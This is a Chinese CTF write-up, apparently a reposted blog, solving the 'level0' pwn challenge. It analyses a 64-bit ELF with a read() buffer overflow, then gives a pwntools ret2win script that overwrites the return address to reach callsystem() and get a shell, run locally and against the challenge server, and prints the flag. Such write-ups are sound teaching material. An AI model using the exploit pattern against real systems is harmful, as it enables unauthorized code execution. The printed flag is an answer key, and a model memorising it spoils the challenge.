[CTF-PWN]攻防世界新手村-level0[wp]

事件起因(无语)

手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。

题目分析

环境
开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文件,我们要做的就是下载附件并在本地进行反汇编,反编译等操作分析程序漏洞,从而利用漏洞获取题目的flag。

checksec监测

file查看一下文件属性,可以看到文件是linux elf文件,64字节,x86也就是amd64微处理器。
文件属性
checksec的常用命令是:checksec [filename] ,也就是checksec后面加上你的程序;
也可以用gdb插件中的checksec来监测,gdb中直接checksec就可以了,如下:
gdb
checksec可以检查程序保护机制,从而查看题目开启了哪些保护机制,有助于对题目的初步分析。
Arch:程序位数(查看是多少位的程序,比如32或64位),也可以查看是哪个微处理器,比如i386为32位微处理器,amd64为64位微处理器(x86架构的延伸产品,称为x86-64,后改名为AMD64);
RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELEO为"Partial RELRO",说明我们对GOT表有写权限。
Stack:栈溢出监测,查看程序是否开启了Canary防护(一种对函数栈的监测保护:还没等到栈溢出,先返回canary word,从而监测栈溢出情况)。
NX :No-eXecute(不可执行),相等于windows的DEP(数据执行保护),就是将攻击者构造的payload和shellcode(一般为系统远程执行命令)所在的内存页标识为不可执行,当攻击代码想要以数据代码伪装成可执行代码时,就会被检测到,从而使CPU抛出异常,从而不执行恶意指令。
PIE:内存地址空间分布随机化(ASLR:address space layout randomization)
checksec

从checksec检测中可以看出

  1. 这是一个64位小端序程序;
  2. 没有开启RELRO;
  3. 金丝雀没有开启;
  4. NX开启;
  5. 没有开启地址空间随机化;

IDA pro分析

main函数
在main函数上按F5进入伪代码:
伪代码
分析程序
漏洞
箭头指向的&buf是一个缓冲区地址,程序可以让我们在这个缓冲区的0x200区间中执行操作,从而使我们可以构造溢出payload。
栈
ret
内存地址区间
hex
去十六进制表中看一下,没有看到bin/sh/字符串,不过我们在函数列表中看到了callsystem()这个函数
发现
打开后成功找到/bin/sh
地址
显而易见,这是一道缓冲区溢出题,我们只要通过read函数对返回值进行溢出,将目的值覆盖,使目的函数中的shell执行,就可以得到flag了。(手残博主图中的reverse写错了,应该是server,手残晚期了,,,)
解题思路
程序的关键是:返回值被覆盖为callsystem()函数的地址,使程序跳转到目的函数执行shell。我们只要通过read()函数进行缓冲区溢出,将中间的内存覆盖脏数据,目的变量的值覆盖为指定的值就可以执行指定函数拿到shell。
好了,现在思路清晰,我们来构建我们的exp攻击脚本。

编写exp

  • interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
  • recv(numb = 4096,timeout = default):接收指定字节
  • recvall() : 一直接收知道EOF
  • recvline(keepends = True): 接收一行,keepends为是否保留行尾的\n,默认为Ture
  • recvuntil((delims,drop=False):一直读到delims的pattern出现为止
  • recvrepeat(timeout=default): 持续接收知道EOF或者timeout
  • send(data) :发送数据
  • sendline(data) : 发送一行数据,相当于在数据末尾加\n
    python3(pwntools)
from pwn import *

context(os='linux',arch="amd64",log_level="debug")
content=0

elf = ELF("level0")
system_addr = elf.symbols["callsystem"]

def main():
	if content == 1:
		peiqi = process("level0")
	else:
		peiqi = remote("220.249.52.133",57401)

	payload = b'a' * (0x80 + 8)
	payload = payload + p64(0x400596)

	peiqi.recvuntil("Hello, World\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

攻本地程序

content = 1就是pwn本地:

from pwn import *

context(os='linux',arch="amd64",log_level="debug")
content=1

elf = ELF("level0")
system_addr = elf.symbols["callsystem"]

def main():
	if content == 1:
		peiqi = process("level0")
	else:
		peiqi = remote("220.249.52.133",57401)

	payload = b'a' * (0x80 + 8)
	payload = payload + p64(0x400596)

	peiqi.recvuntil("Hello, World\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

PWN

因为你的本地程序并没有flag,所以这里显示cat:没有找到,说明你的exp基本上已经编写成功,现在只要将content修改为0就可以pwn远程了

攻远程服务器

from pwn import *

context(os='linux',arch="amd64",log_level="debug")
content=0

elf = ELF("level0")
system_addr = elf.symbols["callsystem"]

def main():
	if content == 1:
		peiqi = process("level0")
	else:
		peiqi = remote("220.249.52.133",57401)

	payload = b'a' * (0x80 + 8)
	payload = payload + p64(0x400596)

	peiqi.recvuntil("Hello, World\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

PWN!

成功pwn到flag:cyberpeace{a9275f074d0ab13ada8b07c5adb21c0e}

总结

一道很简单的pwn题。

猜你喜欢

转载自blog.csdn.net/murongxuege/article/details/108909315